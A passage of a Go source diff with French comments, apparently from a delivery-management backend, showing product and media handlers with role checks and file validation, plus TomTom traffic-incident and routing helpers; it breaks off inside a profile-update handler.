if err := c.SaveUploadedFile(fileHeader, safeFilePath); err != nil {
log.Printf("❌ [CreateProduct] Erreur sauvegarde: %v", err)
rollbackFiles(savedFiles)
database.DeleteProduct(product.ID)
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur sauvegarde fichier"})
return
}
savedFiles = append(savedFiles, safeFilePath)
// ✅ CRÉER L'ENTRÉE MÉDIA
mediaURL := "/" + filepath.ToSlash(safeFilePath)
media := models.Media{
ProductID: product.ID,
Type: mediaType,
URL: mediaURL,
}
if err := database.CreateMedia(&media); err != nil {
log.Printf("❌ [CreateProduct] Erreur DB média: %v", err)
rollbackFiles(savedFiles)
database.DeleteProduct(product.ID)
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur création média"})
return
}
uploadedMedia = append(uploadedMedia, media)
log.Printf("✅ [CreateProduct] Média %d créé", media.ID)
}
product.Media = uploadedMedia
log.Printf("🎉 [CreateProduct] SUCCÈS: %d médias enregistrés", len(uploadedMedia))
c.JSON(http.StatusCreated, gin.H{
"success": true,
"product": product,
})
}
// ============================================
// GET ENDPOINTS - SÉCURISÉS (lecture publique OK)
// ============================================
func GetAllProducts(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
products, err := database.GetAllProducts()
if err != nil {
log.Printf("❌ [GetAllProducts] Erreur: %v", err)
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"error": "Erreur récupération produits",
})
return
}
c.JSON(http.StatusOK, gin.H{
"success": true,
"data": products,
"count": len(products),
})
}
func GetProductsByCategory(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
category := strings.ToLower(strings.TrimSpace(c.Param("category")))
// ✅ VALIDATION
if err := validateCategory(category); err != nil {
c.JSON(http.StatusBadRequest, gin.H{
"success": false,
"error": err.Error(),
})
return
}
products, err := database.GetProductsByCategory(category)
if err != nil {
log.Printf("❌ [GetProductsByCategory] Erreur: %v", err)
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"error": "Erreur récupération produits",
})
return
}
// ✅ Charger les médias
for i := range products {
media, _ := database.GetMediaByProductID(products[i].ID)
products[i].Media = media
}
c.JSON(http.StatusOK, gin.H{
"success": true,
"data": products,
"count": len(products),
})
}
func GetProductByID(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
id, err := strconv.Atoi(c.Param("id"))
if err != nil || id <= 0 {
c.JSON(http.StatusBadRequest, gin.H{
"success": false,
"error": "ID invalide",
})
return
}
product, err := database.GetProductByID(id)
if err != nil {
c.JSON(http.StatusNotFound, gin.H{
"success": false,
"error": "Produit non trouvé",
})
return
}
// ✅ Charger les médias
media, _ := database.GetMediaByProductID(product.ID)
product.Media = media
c.JSON(http.StatusOK, gin.H{
"success": true,
"data": product,
})
}
// ============================================
// UPDATE PRODUCT - VERSION SÉCURISÉE
// ============================================
func UpdateProduct(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
// ✅ VÉRIFIER LE RÔLE
role := c.GetString("role")
if role != "admin" && role != "cabine" {
c.JSON(http.StatusForbidden, gin.H{"error": "Accès refusé"})
return
}
username, _ := safeGetUsername(c)
id, err := strconv.Atoi(c.Param("id"))
if err != nil || id <= 0 {
c.JSON(http.StatusBadRequest, gin.H{"error": "ID invalide"})
return
}
// ✅ VÉRIFIER QUE LE PRODUIT EXISTE
_, err = database.GetProductByID(id)
if err != nil {
c.JSON(http.StatusNotFound, gin.H{"error": "Produit non trouvé"})
return
}
var updateData struct {
Name string `json:"name"`
Category string `json:"category"`
Description string `json:"description"`
Stock float64 `json:"stock"`
Prices []models.ProductPrice `json:"prices"`
}
if err := c.ShouldBindJSON(&updateData); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": "Données invalides"})
return
}
// ✅ VALIDATION COMPLÈTE
if err := validateProductName(updateData.Name); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
if err := validateProductDescription(updateData.Description); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
if err := validateCategory(updateData.Category); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
if err := validateStock(updateData.Stock); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
if len(updateData.Prices) == 0 {
c.JSON(http.StatusBadRequest, gin.H{"error": "Au moins un prix requis"})
return
}
for _, price := range updateData.Prices {
if err := validatePrice(price.Quantity, price.Price); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
}
log.Printf("🔄 [UpdateProduct] %s met à jour produit #%d", username, id)
// ✅ UPDATE PRODUIT
updateQuery := `
UPDATE products
SET name = $1, category = $2, description = $3, stock = $4, updated_at = $5
WHERE id = $6
`
_, err = database.Exec(updateQuery,
updateData.Name,
updateData.Category,
updateData.Description,
updateData.Stock,
time.Now(),
id,
)
if err != nil {
log.Printf("❌ [UpdateProduct] Erreur UPDATE: %v", err)
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur mise à jour"})
return
}
// ✅ UPDATE PRIX
database.Exec(`DELETE FROM product_prices WHERE product_id = $1`, id)
for _, price := range updateData.Prices {
_, err := database.Exec(`
INSERT INTO product_prices (product_id, quantity, price)
VALUES ($1, $2, $3)
`, id, price.Quantity, price.Price)
if err != nil {
log.Printf("❌ [UpdateProduct] Erreur prix: %v", err)
}
}
// ✅ RÉCUPÉRER LE PRODUIT MIS À JOUR
updatedProduct, _ := database.GetProductByID(id)
media, _ := database.GetMediaByProductID(id)
updatedProduct.Media = media
log.Printf("✅ [UpdateProduct] Produit #%d mis à jour", id)
c.JSON(http.StatusOK, gin.H{
"success": true,
"product": updatedProduct,
})
}
// ============================================
// DELETE MEDIA - VERSION SÉCURISÉE
// ============================================
func DeleteMedia(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
// ✅ VÉRIFIER LE RÔLE
role := c.GetString("role")
if role != "admin" && role != "cabine" {
c.JSON(http.StatusForbidden, gin.H{"error": "Accès refusé"})
return
}
mediaID, err := strconv.Atoi(c.Param("media_id"))
if err != nil || mediaID <= 0 {
c.JSON(http.StatusBadRequest, gin.H{"error": "ID invalide"})
return
}
media, err := database.GetMediaByID(mediaID)
if err != nil {
c.JSON(http.StatusNotFound, gin.H{"error": "Média non trouvé"})
return
}
// ✅ SÉCURISER LE CHEMIN AVANT SUPPRESSION
filePath := strings.TrimPrefix(media.URL, "/")
safeFilePath, err := sanitizeFilePath(filePath)
if err != nil {
log.Printf("❌ [DeleteMedia] Path invalide: %v", err)
c.JSON(http.StatusBadRequest, gin.H{"error": "Chemin invalide"})
return
}
// ✅ SUPPRIMER LE FICHIER PHYSIQUE
if err := os.Remove(safeFilePath); err != nil && !os.IsNotExist(err) {
log.Printf("⚠️ [DeleteMedia] Erreur suppression fichier: %v", err)
}
// ✅ SUPPRIMER DE LA DB
err = database.DeleteMedia(mediaID)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur suppression"})
return
}
c.JSON(http.StatusOK, gin.H{
"success": true,
"message": "Média supprimé",
})
}
// handlers/product_handlers_SECURED.go
func UploadMedia(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
// ✅ VÉRIFIER LE RÔLE
username, err := safeGetUsername(c)
if err != nil {
c.JSON(http.StatusUnauthorized, gin.H{"error": "Authentification requise"})
return
}
role := c.GetString("role")
if role != "admin" && role != "cabine" {
c.JSON(http.StatusForbidden, gin.H{"error": "Accès refusé"})
return
}
// ✅ RÉCUPÉRER ET VALIDER L'ID PRODUIT
productID, err := strconv.Atoi(c.Param("id"))
if err != nil || productID <= 0 {
c.JSON(http.StatusBadRequest, gin.H{"error": "ID produit invalide"})
return
}
// ✅ VÉRIFIER QUE LE PRODUIT EXISTE
productName, err := database.GetProductNameByID(productID)
if err != nil {
c.JSON(http.StatusNotFound, gin.H{"error": "Produit non trouvé"})
return
}
log.Printf("📤 [UploadMedia] %s upload média pour produit #%d (%s)", username, productID, productName)
// ✅ RÉCUPÉRER LE TYPE ET LE FICHIER
fileType := c.PostForm("type")
if fileType != "image" && fileType != "video" {
c.JSON(http.StatusBadRequest, gin.H{"error": "Type invalide (image ou video requis)"})
return
}
file, err := c.FormFile("file")
if err != nil {
log.Printf("❌ [UploadMedia] Erreur récupération fichier: %v", err)
c.JSON(http.StatusBadRequest, gin.H{"error": "Fichier manquant"})
return
}
// ✅ VÉRIFIER LA TAILLE
const MaxFileSize = 10 * 1024 * 1024 // 10MB
if file.Size > MaxFileSize {
c.JSON(http.StatusBadRequest, gin.H{
"error": fmt.Sprintf("Fichier trop volumineux (max %dMB)", MaxFileSize/(1024*1024)),
})
return
}
// ✅ VÉRIFIER LE TYPE MIME RÉEL
fileHeader, err := file.Open()
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur lecture fichier"})
return
}
defer fileHeader.Close()
buffer := make([]byte, 512)
_, err = fileHeader.Read(buffer)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur lecture fichier"})
return
}
mimeType := http.DetectContentType(buffer)
log.Printf("📋 [UploadMedia] Type MIME détecté: %s", mimeType)
// Vérifier que le MIME correspond au type déclaré
if fileType == "image" && !strings.HasPrefix(mimeType, "image/") {
c.JSON(http.StatusBadRequest, gin.H{"error": "Le fichier n'est pas une image valide"})
return
}
if fileType == "video" && !strings.HasPrefix(mimeType, "video/") {
c.JSON(http.StatusBadRequest, gin.H{"error": "Le fichier n'est pas une vidéo valide"})
return
}
// ✅ GÉNÉRER UN NOM UNIQUE
cleanProductName := cleanFileName(productName)
uniqueFileName := utils.GenerateUniqueFileName(cleanProductName, file.Filename)
// ✅ CRÉER LE DOSSIER
destFolder := filepath.Join("uploads", fileType+"s")
if err := os.MkdirAll(destFolder, 0755); err != nil {
log.Printf("❌ [UploadMedia] Erreur création dossier: %v", err)
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur création dossier"})
return
}
// ✅ SAUVEGARDER LE FICHIER
filePath := filepath.Join(destFolder, uniqueFileName)
if err := c.SaveUploadedFile(file, filePath); err != nil {
log.Printf("❌ [UploadMedia] Erreur sauvegarde: %v", err)
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur sauvegarde fichier"})
return
}
log.Printf("✅ [UploadMedia] Fichier sauvegardé: %s", filePath)
// ✅ CRÉER L'ENTRÉE EN BASE
mediaURL := "/" + filepath.ToSlash(filePath)
media := models.Media{
ProductID: productID,
Type: fileType,
URL: mediaURL,
}
err = database.CreateMedia(&media)
if err != nil {
// Rollback: supprimer le fichier
os.Remove(filePath)
log.Printf("❌ [UploadMedia] Erreur DB: %v", err)
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur création média"})
return
}
log.Printf("✅ [UploadMedia] Média #%d créé pour produit #%d", media.ID, productID)
c.JSON(http.StatusCreated, gin.H{
"success": true,
"message": "Média uploadé avec succès",
"media": media,
"uploaded_by": gin.H{
"username": username,
"role": role,
},
})
}
// ============================================
// DELETE PRODUCT - VERSION SÉCURISÉE
// ============================================
func DeleteProduct(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
// ✅ VÉRIFIER LE RÔLE
role := c.GetString("role")
if role != "admin" && role != "cabine" {
c.JSON(http.StatusForbidden, gin.H{"error": "Accès refusé"})
return
}
username, _ := safeGetUsername(c)
id, err := strconv.Atoi(c.Param("id"))
if err != nil || id <= 0 {
c.JSON(http.StatusBadRequest, gin.H{"error": "ID invalide"})
return
}
log.Printf("🗑️ [DeleteProduct] %s supprime produit #%d", username, id)
// ✅ RÉCUPÉRER LES MÉDIAS AVANT SUPPRESSION
mediaList, err := database.GetMediaByProductID(id)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur récupération médias"})
return
}
// ✅ SUPPRIMER LES FICHIERS AVEC SÉCURITÉ
for _, media := range mediaList {
filePath := strings.TrimPrefix(media.URL, "/")
safeFilePath, err := sanitizeFilePath(filePath)
if err != nil {
log.Printf("⚠️ [DeleteProduct] Path invalide: %v", err)
continue
}
if err := os.Remove(safeFilePath); err != nil && !os.IsNotExist(err) {
log.Printf("⚠️ [DeleteProduct] Erreur suppression: %v", err)
}
}
// ✅ SUPPRIMER LES MÉDIAS DE LA DB
database.DeleteMediaByProductID(id)
// ✅ SUPPRIMER LE PRODUIT
err = database.DeleteProduct(id)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur suppression produit"})
return
}
log.Printf("✅ [DeleteProduct] Produit #%d supprimé", id)
c.JSON(http.StatusOK, gin.H{
"success": true,
"message": "Produit supprimé",
})
}
// ============================================
// HELPERS
// ============================================
func rollbackFiles(files []string) {
for _, file := range files {
safeFilePath, err := sanitizeFilePath(file)
if err != nil {
continue
}
os.Remove(safeFilePath)
}
}
func cleanFileName(name string) string {
replacements := map[string]string{
"/": "-", "\\": "-", ":": "-",
"*": "-", "?": "-", "\"": "-",
"<": "-", ">": "-", "|": "-",
" ": "_",
}
result := name
for old, new := range replacements {
result = strings.ReplaceAll(result, old, new)
}
// Limiter la longueur
if len(result) > 50 {
result = result[:50]
}
return result
}
File diff suppressed because it is too large Load Diff
+624
View File
@@ -0,0 +1,624 @@
// ============================================
// handlers/traffic_handlers.go - COMPLET
// ============================================
package handlers
import (
"encoding/json"
"fmt"
"gestion/db"
"gestion/models"
"gestion/services"
"io"
"log"
"math"
"net/http"
"os"
"strconv"
"time"
"github.com/gin-gonic/gin"
)
// ============================================
// INCIDENTS TRAFFIC TOMTOM
// ============================================
// GetIncidentsAroundDeliveryPerson récupère les incidents autour d'un livreur
// GET /api/v2/admin/traffic/delivery/:username/incidents
func GetIncidentsAroundDeliveryPerson(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
userRole := c.GetString("role")
if userRole != "admin" && userRole != "livreur" {
c.JSON(http.StatusForbidden, gin.H{"error": "Accès refusé"})
return
}
username := c.Param("username")
if username == "" {
c.JSON(http.StatusBadRequest, gin.H{"error": "Username requis"})
return
}
// Récupérer position du livreur
lat, lon, err := database.GetDeliveryPersonLocation(username)
if err != nil {
c.JSON(http.StatusNotFound, gin.H{
"error": "Position livreur non trouvée",
"details": err.Error(),
})
return
}
// Rayon de recherche par défaut: 5 km
radius := 5000 // mètres
// Récupérer incidents TomTom
incidents, err := fetchIncidents(lat, lon, radius)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"error": "Erreur récupération incidents",
"details": err.Error(),
})
return
}
c.JSON(http.StatusOK, gin.H{
"success": true,
"username": username,
"location": gin.H{"latitude": lat, "longitude": lon},
"radius_km": radius / 1000,
"incidents": incidents,
"count": len(incidents),
})
}
// GetIncidentsForAllDeliveries récupère incidents + routes pour tous livreurs actifs
// GET /api/v2/admin/traffic/incidents/all
func GetIncidentsForAllDeliveries(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
userRole := c.GetString("role")
if userRole != "admin" {
c.JSON(http.StatusForbidden, gin.H{"error": "Accès refusé"})
return
}
// Récupérer tous les livreurs disponibles depuis Redis
livreurs, err := database.GetAvailableDeliveryPersonsRedis()
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"error": "Erreur récupération livreurs",
"details": err.Error(),
})
return
}
results := []gin.H{}
for _, livreur := range livreurs {
username := livreur.Username
status := livreur.Status
// Sauter les livreurs offline
if status == "offline" {
continue
}
// Position livreur
lat, lon, err := database.GetDeliveryPersonLocation(username)
if err != nil {
log.Printf("⚠️ Position non trouvée pour %s", username)
continue
}
// Vérifier s'il a une commande en cours
commandID := livreur.CurrentCommand
if commandID == 0 {
// Pas de livraison en cours
results = append(results, gin.H{
"username": username,
"status": status,
"location": gin.H{"latitude": lat, "longitude": lon},
"has_delivery": false,
"incidents": []gin.H{},
"route": nil,
})
continue
}
// Récupérer la commande
command, err := database.GetCommandByID(commandID)
if err != nil {
log.Printf("⚠️ Commande %d non trouvée", commandID)
continue
}
// Coordonnées destination
var destLat, destLon float64
if dLat, ok := getFloatFromMap(command, "dest_latitude"); ok && dLat != 0 {
destLat = dLat
}
if dLon, ok := getFloatFromMap(command, "dest_longitude"); ok && dLon != 0 {
destLon = dLon
}
// Si pas de coordonnées, géocoder
if destLat == 0 || destLon == 0 {
address, ok := command["adresse"].(string)
if !ok || address == "" || address == "Adresse non spécifiée" {
continue
}
geoService := c.MustGet("geoService").(*services.GeoService)
location, err := geoService.GeocodeAddress(address)
if err != nil {
log.Printf("⚠️ Géocodage échoué pour %s", address)
continue
}
destLat = location.Latitude
destLon = location.Longitude
}
// Récupérer incidents sur le trajet
incidents, _ := fetchIncidentsOnRoute(lat, lon, destLat, destLon)
// Convertir incidents en gin.H pour JSON
incidentsJSON := make([]gin.H, len(incidents))
for i, inc := range incidents {
incidentsJSON[i] = gin.H{
"type": inc.Type,
"icon": inc.Icon,
"description": inc.Description,
}
}
// Calculer route avec trafic
routeSummary, err := fetchRouteSummary(lat, lon, destLat, destLon)
if err != nil {
log.Printf("⚠️ Erreur calcul route pour %s", username)
routeSummary = models.RouteSummary{}
}
results = append(results, gin.H{
"username": username,
"status": status,
"location": gin.H{"latitude": lat, "longitude": lon},
"destination": gin.H{"latitude": destLat, "longitude": destLon},
"has_delivery": true,
"command_id": commandID,
"incidents": incidentsJSON,
"route": routeSummary,
})
}
c.JSON(http.StatusOK, gin.H{
"success": true,
"deliveries": results,
"count": len(results),
})
}
// ============================================
// MISE À JOUR ETA AVEC TRAFIC
// ============================================
func UpdateETAWithRealTraffic(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
userRole := c.GetString("role")
if userRole != "admin" && userRole != "livreur" {
c.JSON(http.StatusForbidden, gin.H{"error": "Accès refusé"})
return
}
// Récupérer l'ID de la commande
commandID, err := strconv.Atoi(c.Param("id"))
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": "ID invalide"})
return
}
// Récupérer la commande
command, err := database.GetCommandByID(commandID)
if err != nil {
c.JSON(http.StatusNotFound, gin.H{
"error": "Commande non trouvée",
"command_id": commandID,
})
return
}
// Vérifier qu'un livreur est assigné
livreurAssign, ok := command["livreur_assign"].(string)
if !ok || livreurAssign == "" {
c.JSON(http.StatusBadRequest, gin.H{
"error": "Aucun livreur assigné",
"command_id": commandID,
})
return
}
// Position actuelle du livreur
lat, lon, err := database.GetDeliveryPersonLocation(livreurAssign)
if err != nil {
c.JSON(http.StatusNotFound, gin.H{
"error": "Position livreur introuvable",
"livreur": livreurAssign,
"details": err.Error(),
})
return
}
var destLat, destLon float64
// 🔹 1. Tenter de récupérer depuis le cache Redis (clé spécifique pour destination)
destCacheKey := fmt.Sprintf("command:destination:%d", commandID)
destData, err := db.Redis.Get(db.RedisCtx, destCacheKey).Result()
if err == nil && destData != "" {
var coords struct {
Lat float64 `json:"lat"`
Lon float64 `json:"lon"`
}
if err := json.Unmarshal([]byte(destData), &coords); err == nil && coords.Lat != 0 && coords.Lon != 0 {
destLat = coords.Lat
destLon = coords.Lon
log.Printf("📍 Destination trouvée dans cache Redis pour commande %d", commandID)
}
}
// 🔹 2. Fallback: récupérer depuis la DB
if destLat == 0 || destLon == 0 {
if dLat, okLat := getFloatFromMap(command, "dest_latitude"); okLat && dLat != 0 {
destLat = dLat
}
if dLon, okLon := getFloatFromMap(command, "dest_longitude"); okLon && dLon != 0 {
destLon = dLon
}
}
// 🔹 3. Si toujours pas de coordonnées, géocoder l'adresse
if destLat == 0 || destLon == 0 {
address, ok := command["adresse"].(string)
if !ok || address == "" || address == "Adresse non spécifiée" {
c.JSON(http.StatusBadRequest, gin.H{
"error": "Adresse de destination manquante ou invalide",
"command_id": commandID,
})
return
}
geoService := c.MustGet("geoService").(*services.GeoService)
location, err := geoService.GeocodeAddress(address)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"error": "Impossible de géocoder l'adresse",
"address": address,
"command_id": commandID,
"details": err.Error(),
})
return
}
destLat = location.Latitude
destLon = location.Longitude
log.Printf("📍 Adresse géocodée pour commande %d: %s -> (%.6f, %.6f)",
commandID, address, destLat, destLon)
}
// 🔹 4. Sauvegarder les coordonnées destination dans le cache Redis
coordsJSON, _ := json.Marshal(map[string]float64{
"lat": destLat,
"lon": destLon,
})
if err := db.Redis.Set(db.RedisCtx, destCacheKey, coordsJSON, 4*time.Hour).Err(); err != nil {
log.Printf("⚠️ Impossible de sauvegarder destination dans Redis: %v", err)
}
// 🔹 5. Calculer le temps réel avec TomTom Routing API
routeSummary, err := fetchRouteSummary(lat, lon, destLat, destLon)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"error": "Impossible de calculer l'itinéraire",
"command_id": commandID,
"from": gin.H{"lat": lat, "lon": lon},
"to": gin.H{"lat": destLat, "lon": destLon},
"details": err.Error(),
})
return
}
// 🔹 6. Mettre à jour l'ETA dans Redis
err = database.SetCommandETA(commandID, routeSummary.TravelTimeInMinutes)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"error": "Erreur mise à jour ETA",
"command_id": commandID,
"details": err.Error(),
})
return
}
log.Printf("✅ ETA mis à jour pour commande %d: %d min (trafic réel inclus)",
commandID, routeSummary.TravelTimeInMinutes)
c.JSON(http.StatusOK, gin.H{
"success": true,
"command_id": commandID,
"eta_minutes": routeSummary.TravelTimeInMinutes,
"distance_km": routeSummary.LengthInKm,
"with_traffic": true,
"route_summary": routeSummary,
})
}
// ============================================
// FONCTIONS HELPERS - TOMTOM API
// ============================================
// fetchIncidents récupère les incidents de trafic autour d'une position
func fetchIncidents(lat, lon float64, radius int) ([]models.Incident, error) {
apiKey := os.Getenv("TOMTOM_API_KEY")
if apiKey == "" {
return nil, fmt.Errorf("TOMTOM_API_KEY non configurée")
}
// API TomTom Traffic Incidents
url := fmt.Sprintf(
"https://api.tomtom.com/traffic/services/5/incidentDetails?key=%s&bbox=%f,%f,%f,%f&fields={incidents{type,geometry{type,coordinates},properties{iconCategory,magnitudeOfDelay,events{description,code,iconCategory}}}}",
apiKey,
lon-0.05, lat-0.05, // Southwest corner
lon+0.05, lat+0.05, // Northeast corner
)
client := &http.Client{Timeout: 10 * time.Second}
resp, err := client.Get(url)
if err != nil {
return nil, fmt.Errorf("erreur requête incidents: %w", err)
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
body, _ := io.ReadAll(resp.Body)
return nil, fmt.Errorf("API incidents error %d: %s", resp.StatusCode, string(body))
}
body, err := io.ReadAll(resp.Body)
if err != nil {
return nil, fmt.Errorf("erreur lecture réponse: %w", err)
}
var incidentResponse models.IncidentResponse
err = json.Unmarshal(body, &incidentResponse)
if err != nil {
return nil, fmt.Errorf("erreur parsing incidents: %w", err)
}
// Convertir en []models.Incident
incidents := make([]models.Incident, len(incidentResponse.Incidents))
for i, inc := range incidentResponse.Incidents {
incidents[i] = models.Incident{
Type: inc.Type,
Icon: inc.Icon,
Description: inc.Description,
}
}
return incidents, nil
}
// fetchIncidentsOnRoute récupère les incidents sur un trajet
func fetchIncidentsOnRoute(startLat, startLon, destLat, destLon float64) ([]models.Incident, error) {
// Calculer la bounding box du trajet
minLat := min(startLat, destLat) - 0.02
maxLat := max(startLat, destLat) + 0.02
minLon := min(startLon, destLon) - 0.02
maxLon := max(startLon, destLon) + 0.02
apiKey := os.Getenv("TOMTOM_API_KEY")
if apiKey == "" {
return []models.Incident{}, nil
}
url := fmt.Sprintf(
"https://api.tomtom.com/traffic/services/5/incidentDetails?key=%s&bbox=%f,%f,%f,%f&fields={incidents{type,geometry{type,coordinates},properties{iconCategory,magnitudeOfDelay,events{description,code,iconCategory}}}}",
apiKey,
minLon, minLat,
maxLon, maxLat,
)
client := &http.Client{Timeout: 10 * time.Second}
resp, err := client.Get(url)
if err != nil {
return []models.Incident{}, nil
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return []models.Incident{}, nil
}
body, _ := io.ReadAll(resp.Body)
var incidentResponse models.IncidentResponse
if err := json.Unmarshal(body, &incidentResponse); err != nil {
return []models.Incident{}, nil
}
// Convertir en []models.Incident
incidents := make([]models.Incident, len(incidentResponse.Incidents))
for i, inc := range incidentResponse.Incidents {
incidents[i] = models.Incident{
Type: inc.Type,
Icon: inc.Icon,
Description: inc.Description,
}
}
return incidents, nil
}
// récupère le temps de trajet réel via l'API TomTom Routing
// fetchRouteSummary récupère le temps de trajet réel via l'API TomTom Routing
func fetchRouteSummary(startLat, startLon, destLat, destLon float64) (models.RouteSummary, error) {
apiKey := os.Getenv("TOMTOM_API_KEY")
if apiKey == "" {
return models.RouteSummary{}, fmt.Errorf("TOMTOM_API_KEY non configurée")
}
// Validation des coordonnées
if startLat < -90 || startLat > 90 || destLat < -90 || destLat > 90 {
return models.RouteSummary{}, fmt.Errorf("latitude invalide: start=%.6f, dest=%.6f", startLat, destLat)
}
if startLon < -180 || startLon > 180 || destLon < -180 || destLon > 180 {
return models.RouteSummary{}, fmt.Errorf("longitude invalide: start=%.6f, dest=%.6f", startLon, destLon)
}
// API TomTom Routing: Calculate Route
url := fmt.Sprintf(
"https://api.tomtom.com/routing/1/calculateRoute/%f,%f:%f,%f/json?key=%s&traffic=true&travelMode=car",
startLat, startLon, destLat, destLon, apiKey,
)
log.Printf("🛣️ Appel TomTom: (%.6f,%.6f) -> (%.6f,%.6f)", startLat, startLon, destLat, destLon)
// Timeout réduit à 8 secondes
client := &http.Client{Timeout: 8 * time.Second}
resp, err := client.Get(url)
if err != nil {
// Fallback: estimation basée sur distance Haversine
distance := haversineDistance(startLat, startLon, destLat, destLon)
estimatedMinutes := int(distance/25*60) + 3 // ~25 km/h en ville + 3 min marge
if estimatedMinutes < 5 {
estimatedMinutes = 5
}
log.Printf("⚠️ TomTom timeout/erreur, fallback: %.2f km -> %d min estimé", distance, estimatedMinutes)
return models.RouteSummary{
TravelTimeInMinutes: estimatedMinutes,
LengthInKm: distance,
}, nil // Pas d'erreur, on retourne l'estimation
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
io.ReadAll(resp.Body) // Lire et ignorer le body pour fermer proprement
// Fallback en cas d'erreur API
distance := haversineDistance(startLat, startLon, destLat, destLon)
estimatedMinutes := int(distance/25*60) + 3
if estimatedMinutes < 5 {
estimatedMinutes = 5
}
log.Printf("⚠️ TomTom API error %d, fallback: %.2f km -> %d min", resp.StatusCode, distance, estimatedMinutes)
return models.RouteSummary{
TravelTimeInMinutes: estimatedMinutes,
LengthInKm: distance,
}, nil
}
body, err := io.ReadAll(resp.Body)
if err != nil {
return models.RouteSummary{}, fmt.Errorf("erreur lecture réponse: %w", err)
}
var routeResponse models.RouteResponse
err = json.Unmarshal(body, &routeResponse)
if err != nil {
return models.RouteSummary{}, fmt.Errorf("erreur parsing routing: %w", err)
}
if len(routeResponse.Routes) == 0 {
return models.RouteSummary{}, fmt.Errorf("aucun itinéraire trouvé")
}
summary := routeResponse.Routes[0].Summary
summary.TravelTimeInMinutes = (summary.TravelTimeInSeconds + 59) / 60
summary.LengthInKm = float64(summary.LengthInMeters) / 1000.0
log.Printf("🛣️ Route calculée: %.2f km, %d min (trafic inclus)", summary.LengthInKm, summary.TravelTimeInMinutes)
return summary, nil
}
// haversineDistance calcule la distance en km entre deux points GPS
func haversineDistance(lat1, lon1, lat2, lon2 float64) float64 {
const R = 6371.0 // Rayon Terre en km
const toRad = math.Pi / 180.0
dLat := (lat2 - lat1) * toRad
dLon := (lon2 - lon1) * toRad
a := math.Sin(dLat/2)*math.Sin(dLat/2) +
math.Cos(lat1*toRad)*math.Cos(lat2*toRad)*
math.Sin(dLon/2)*math.Sin(dLon/2)
c := 2 * math.Atan2(math.Sqrt(a), math.Sqrt(1-a))
return R * c
}
// getFloatFromMap récupère un float64 depuis une map avec différents types
func getFloatFromMap(m map[string]interface{}, key string) (float64, bool) {
value, exists := m[key]
if !exists || value == nil {
return 0, false
}
switch v := value.(type) {
case float64:
return v, true
case float32:
return float64(v), true
case int:
return float64(v), true
case int64:
return float64(v), true
case int32:
return float64(v), true
case json.Number:
f, err := v.Float64()
if err != nil {
return 0, false
}
return f, true
case string:
f, err := strconv.ParseFloat(v, 64)
if err != nil {
return 0, false
}
return f, true
case []byte:
s := string(v)
f, err := strconv.ParseFloat(s, 64)
if err != nil {
return 0, false
}
return f, true
default:
return 0, false
}
}
// min retourne le minimum entre deux float64
func min(a, b float64) float64 {
if a < b {
return a
}
return b
}
// max retourne le maximum entre deux float64
func max(a, b float64) float64 {
if a > b {
return a
}
return b
}
+446
View File
@@ -0,0 +1,446 @@
// ============================================
// handlers/profile_handlers.go - VERSION CORRIGÉE
// ============================================
// Gestion des modifications de profils
package handlers
import (
"log"
"net/http"
"strconv"
"strings"
"github.com/gin-gonic/gin"
"golang.org/x/crypto/bcrypt"
"gestion/db"
"gestion/models"
)
// ============================================
// MODIFICATION PROFIL CLIENT (PAR LE CLIENT)
// ============================================
// UpdateMyProfile permet à un client de modifier son propre profil
// PUT /api/v1/profile/update
func UpdateMyProfile(c *gin.Context) {
clientID := c.GetInt("client_id")
database := c.MustGet("database").(*db.Database)
var req models.UpdateClientProfileRequest
if err := c.ShouldBindJSON(&req); err != nil {
log.Printf("❌ [UPDATE_MY_PROFILE] Erreur binding: %v", err)
c.JSON(http.StatusBadRequest, gin.H{
"error": "Données invalides",
"details": err.Error(),
})
return
}
// Récupérer le client actuel
client, err := database.GetClientByID(clientID)
if err != nil {
log.Printf("❌ [UPDATE_MY_PROFILE] Client non trouvé: ID=%d", clientID)
c.JSON(http.StatusNotFound, gin.H{"error": "Client non trouvé"})
return
}
// Vérifier si des modifications sont demandées
hasChanges := false
// Mise à jour du username
if req.Username != "" && req.Username != client.Username {
// Vérifier que le nouveau username n'existe pas
if existingClient, _ := database.GetClientByUsername(req.Username); existingClient != nil {
log.Printf("❌ [UPDATE_MY_PROFILE] Username déjà utilisé: %s", req.Username)
